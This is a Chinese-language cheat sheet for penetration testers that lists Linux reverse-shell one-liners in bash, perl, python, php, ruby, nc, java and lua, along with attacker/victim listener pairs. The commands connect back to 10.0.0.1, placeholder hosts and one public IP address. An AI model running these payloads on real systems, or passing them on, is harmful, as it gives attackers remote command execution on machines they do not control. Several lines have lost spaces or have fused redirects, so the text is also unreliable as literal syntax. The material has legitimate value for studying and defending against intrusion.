Linux下反弹shell方法

  大家在做渗透测试的时候,遇到linux的服务器,想反弹shell回来本地溢出提权,怎么办?上传反弹脚本?当然可以,今天再告诉大家几种方法,国外大牛和国内大牛整理的,希望大家喜欢。

  bash

  bash版本:

  1 bash-i >& /dev/tcp/10.0.0.1/80800>&1

  注意这个是由解析shell的bash完成,所以某些情况下不支持

  perl版本:

  1 perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  python版本:

  1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  php版本:

  1 php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

  ruby版本:

  1 ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

  nc版本:

  1 nc -e /bin/sh10.0.0.1 1234

  2 rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i 2>&1|nc 10.0.0.1 1234 >/tmp/f

  3 nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

  java版本

  1 r = Runtime.getRuntime()

  2 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

  3 p.waitFor()

  lua版本:

  1 lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

  nc不使用-e:

  01 Hacker:nc -lvnp listenport

  02 Victim:mknod/tmp/backpipep

  03 Victim:/bin/sh0</tmp/backpipe| nc attackerip listenport 1>/tmp/backpipe

  04 不使用nc

  05 Method 1:

  06 Hacker: nc -nvlpp 8080

  07 Victim: /bin/bash-i > /dev/tcp/173.214.173.151/80800<&1 2>&1

  08 Method 2:

  09 Hacker: nc -nvlpp8080

  10 Victim: mknodbackpipe p && telnet 173.214.173.151 8080 0backpipe

  11 Method 3:

  12 Hacker: nc -nvlpp8080

  13 Hacker: nc -nvlpp8888

  14 Victim: telnet 173.214.173.151 8080 | /bin/bash| telnet 173.214.173.151 8888
